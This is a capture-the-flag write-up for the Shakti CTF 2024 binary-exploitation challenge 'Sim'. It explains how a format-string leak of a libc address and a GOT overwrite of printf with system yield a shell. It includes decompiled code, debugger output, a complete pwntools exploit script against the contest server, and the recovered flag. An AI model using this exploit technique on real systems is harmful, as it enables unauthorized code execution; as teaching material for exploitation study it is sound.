Shakti CTF 2024 - Sim
Description
Category: Pwn
Welcome back agent 007! As you can see, the simulator is running an arc right now. But the arc seems to be in a meltdown. Can you break its security with its own computational power and save it?
MD5 Hash: c88c91dae610209150a66e5f559efdcd
Author: Ath3n1x
Attachment:
1. Overview
We have four files in the archive:
ld-2.27.so
(libc linker)libc.so.6
(libc shared library)libc-2.27.so
(libc shared library)sim
(executable)
The fact that we have the libc and its linker suggests that we may need to use it in order to get the address of a function (like system
).
1.1 Checksec
We check the protections with checksec
:
1
2
3
4
5
6
7
8
9
checksec --file=sim
[*] '/home/michel/Downloads/shaktik/handout/sim'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)
RUNPATH: b'.'
Stripped: No
NX
is enabled so we can’t inject shellcode and execute it.Canary
makes buffer overflow harder as we need to leak the canary to bypass it.No PIE
so we can use addresses from the executable for our exploit.
1.2 Decompilation
We decompile sim
using Dogbolt (online tool with many different decompilers).
Here are the interesting functions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int32_t add()
{
void* gsbase;
int32_t eax = *(gsbase + 0x14);
puts("Enter the index :");
int32_t var_14;
__isoc99_scanf(&data_8048945, &var_14);
puts("Enter the data :");
read(0, ((var_14 << 4) + 0x804a080), 4);
int32_t eax_6 = (eax ^ *(gsbase + 0x14));
if (eax_6 == 0)
{
return eax_6;
}
__stack_chk_fail();
/* no return */
}
int32_t show()
{
void* gsbase;
int32_t eax = *(gsbase + 0x14);
puts("Enter the index :");
int32_t var_14;
__isoc99_scanf(&data_8048945, &var_14);
puts(((var_14 << 4) + 0x804a080));
int32_t eax_6 = (eax ^ *(gsbase + 0x14));
if (eax_6 == 0)
{
return eax_6;
}
__stack_chk_fail();
/* no return */
}
int32_t main(int32_t argc, char** argv, char** envp)
{
void* const __return_addr_1 = __return_addr;
int32_t* var_c = &argc;
void* gsbase;
int32_t eax = *(gsbase + 0x14);
int32_t i = 0;
initialize();
printf("ARMOUR: enabled! Try to break in…");
void var_1c;
gets(&var_1c);
for (; i != 3; i = (i + 1))
{
puts("Welcome to The Reactor (current …");
printmenu();
int32_t var_24;
__isoc99_scanf(&data_8048945, &var_24);
if (var_24 == 1)
{
add();
}
else if (var_24 == 2)
{
show();
}
else
{
if (var_24 != 3)
{
exit(0);
/* no return */
}
printf(&var_1c);
}
}
if (eax == *(gsbase + 0x14))
{
return 0;
}
__stack_chk_fail();
/* no return */
}
There are several exploitable functions:
- The most interesting one is
printf(&var_1c)
which allows us to use format string vulnerability; read(0, ((var_14 << 4) + 0x804a080), 4);
which allows us to write at any address since we controlvar_14
;puts(((var_14 << 4) + 0x804a080));
which allows us to read the memory at any address too.
The main obstacle is that we can only exploit any of them at most three times before the program exit.
2. Exploitation
It’s the first time I solve this kind of challenge, so I mainly learnt by reading writups and guides which were very useful:
- Armoury - EverTokki - CTFtime
- CS6265: Information Security Lab: Reverse Engineering and Binary Exploitation - Georgia Tech
- Exploiting a GOT overwrite - ir0nstone
Since there are not any “win” function and also we can’t really inject shellcode, the only way is to use function from libc to get a shell.
To get a shell using libc we need to call the function system
with the argument /bin/sh
.
Both of them are not in the executable so we need to write it in a way or another.
Before writting anything, first we need to leak libc address (due to ASLR
) in order to get the address of system
.
2.1 Leak libc
Using format string vulnerability, we can leak addresses from the stack using %p
:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./sim
ARMOUR: enabled! Try to break in ;)%p %p %p %p %p
Welcome to The Reactor (current status: MELTDOWN)
Choose your ACTION:
1. add
2. show
3. break armour
3
0xff9b68cc 0xff9b68e8 0x80487fb 0xebabc3fc (nil)Welcome to The Reactor (current status: MELTDOWN)
Choose your ACTION:
1. add
2. show
3. break armour
Using pwndbg
we can display the memory map and get the address of libc for this execution:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x8046000 0x8048000 rw-p 2000 0 /home/michel/Downloads/shaktik/handout/sim
0x8048000 0x8049000 r-xp 1000 2000 /home/michel/Downloads/shaktik/handout/sim
0x8049000 0x804a000 r--p 1000 2000 /home/michel/Downloads/shaktik/handout/sim
0x804a000 0x804b000 rw-p 1000 3000 /home/michel/Downloads/shaktik/handout/sim
0xeb8e7000 0xebab9000 r-xp 1d2000 0 /home/michel/Downloads/shaktik/handout/libc-2.27.so
0xebab9000 0xebaba000 ---p 1000 1d2000 /home/michel/Downloads/shaktik/handout/libc-2.27.so
0xebaba000 0xebabc000 r--p 2000 1d2000 /home/michel/Downloads/shaktik/handout/libc-2.27.so
0xebabc000 0xebabd000 rw-p 1000 1d4000 /home/michel/Downloads/shaktik/handout/libc-2.27.so
0xebabd000 0xebac2000 rw-p 5000 0 [anon_ebabd]
0xebac2000 0xebac6000 r--p 4000 0 [vvar]
0xebac6000 0xebac8000 r-xp 2000 0 [vdso]
0xebac8000 0xebaee000 r-xp 26000 0 /home/michel/Downloads/shaktik/handout/ld-2.27.so
0xebaee000 0xebaef000 r--p 1000 25000 /home/michel/Downloads/shaktik/handout/ld-2.27.so
0xebaef000 0xebaf0000 rw-p 1000 26000 /home/michel/Downloads/shaktik/handout/ld-2.27.so
0xff996000 0xff9b7000 rw-p 21000 0 [stack]
The forth leaked address (0xebabc3fc
) is an address that belongs to libc.
Since we can always leak it using format string vulnerability, we compute the offset between this address and the libc base address for this execution so we can use it for the next execution because the offset will always be the same.
The offset is: 0xebabc3fc - 0xeb8e7000 = 0x1d53fc
.
1
2
3
4
5
6
7
p.sendline(b"/bin/sh #" + b"%p " * 5) # We will see later why there is "/bin/sh" here
p.sendline(b"3")
output = p.readuntil(b" Welcome")
print(output)
leak_to_libc = int(output.split(b" ")[-3], 16) # Get the forth leaked address
libc.address = leak_to_libc - offset_to_libc
2.2 Write system
and /bin/sh
Now we have the base address of libc, we can compute the address of system
from the shared library.
In pwntools
, updating the value of libc.address
will also update all the addresses:
1
2
3
4
libc = ELF('/home/michel/Downloads/shaktik/handout/libc-2.27.so')
offset_to_libc = 0x1d53fc
libc.address = leak_to_libc - offset_to_libc
libc.sym['system'] # Is also updated
The reason we need the address of system
is to overwrite the Global Offset Table.
The GOT store the addresses of functions that are from other shared libraries (libc) so when the program call it, it knows where is the function in the shared library.
By overwriting the address of a function in the GOT, the next time the program calls it, it will instead call the function we wanted.
Because system
takes as argument a string, we have to overwrite a function that also takes a string as an argument.
We then have two choices:
puts
from2. show
(puts(((var_14 << 4) + 0x804a080));
);printf
from3. break armor
(printf(&var_1c);
).
However, we still need to overwrite the GOT to write system
’s address so we only have one operation left.
For the first case (puts
), we need to store /bin/sh
first using read(0, ((var_14 << 4) + 0x804a080), 4);
and then call puts
which takes us two operations.
For the second case (printf
), we also need to store /bin/sh
but only in &var_1c
which can only be modified once (at the beginning) and the call printf
which also takes us two operations.
But what if we add /bin/sh
directly to our initial input so we save one operation?
Indeed, we can send /bin/sh # %p %p %p %p %p
which:
- will still leak the forth address needed to leak libc;
- is a valid command because
#
will comment the rest of the string.
So we have our exploit that fit in three operations:
- leak libc;
- overwrite
printf
in GOT withsystem
; - call
printf
which will in reality callsystem
.
Overwrite the GOT:
1
2
3
4
index = (elf.got['printf'] - 0x804a080) >> 4 # because ((var_14 << 4) + 0x804a080)
p.sendline(b"1")
p.sendline(str(index).encode())
p.sendline(p32(libc.sym['system']))
Call printf
which will start a shell:
1
2
p.sendline(b"3")
p.interactive()
3. Profit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$ python3 format_string_overwrite_got.py
[*] '/home/michel/Downloads/shaktik/handout/sim'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)
RUNPATH: b'.'
Stripped: No
[*] '/home/michel/Downloads/shaktik/handout/libc-2.27.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/michel/Downloads/shaktik/handout/ld-2.27.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 13.127.242.3 on port 30606: Done
[*] libc base adress is 0xf7d72000
[*] Overwrite printf's address in GOT to 0xf7daee10'
[*] Switching to interactive mode
to The Reactor (current status: MELTDOWN)
Choose your ACTION:
1. add
2. show
3. break armour
Enter the index :
Enter the data :
Welcome to The Reactor (current status: MELTDOWN)
Choose your ACTION:
1. add
2. show
3. break armour
$ ls
flag.txt
ld-2.27.so
libc-2.27.so
libc.so.6
sim
ynetd
$ cat flag.txt
shaktictf{Th3_4rc_15_s4v3d_4nd_h4ppy_pwn1ng}
Flag: shaktictf{Th3_4rc_15_s4v3d_4nd_h4ppy_pwn1ng}
Solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF('/home/michel/Downloads/shaktik/handout/sim')
libc = ELF('/home/michel/Downloads/shaktik/handout/libc-2.27.so')
ld = ELF('/home/michel/Downloads/shaktik/handout/ld-2.27.so')
gdbscript = '''
b printf
'''
## Offset computed in local
offset_to_libc = 0x1d53fc
## Local debug or Remote exploit
# p = gdb.debug([ld.path, elf.path], env={"LD_PRELOAD": libc.path})
p = remote("13.127.242.3", 30606)
## Leak libc base address by exploiting format string (printf)
p.sendline(b"/bin/sh #" + b"%p " * 5)
p.sendline(b"3")
output = p.readuntil(b" Welcome")
leak_to_libc = int(output.split(b" ")[-3], 16)
libc.address = leak_to_libc - offset_to_libc
log.info(f"libc base adress is {hex(libc.address)}")
## Overwrite printf's address in GOT
log.info(f"Overwrite printf's address in GOT to {hex(libc.sym['system'])}'")
index = (elf.got['printf'] - 0x804a080) >> 4
p.sendline(b"1")
p.sendline(str(index).encode())
p.sendline(p32(libc.sym['system']))
## Call printf but it will call system with the initial input
p.sendline(b"3")
## Get the flag
p.interactive()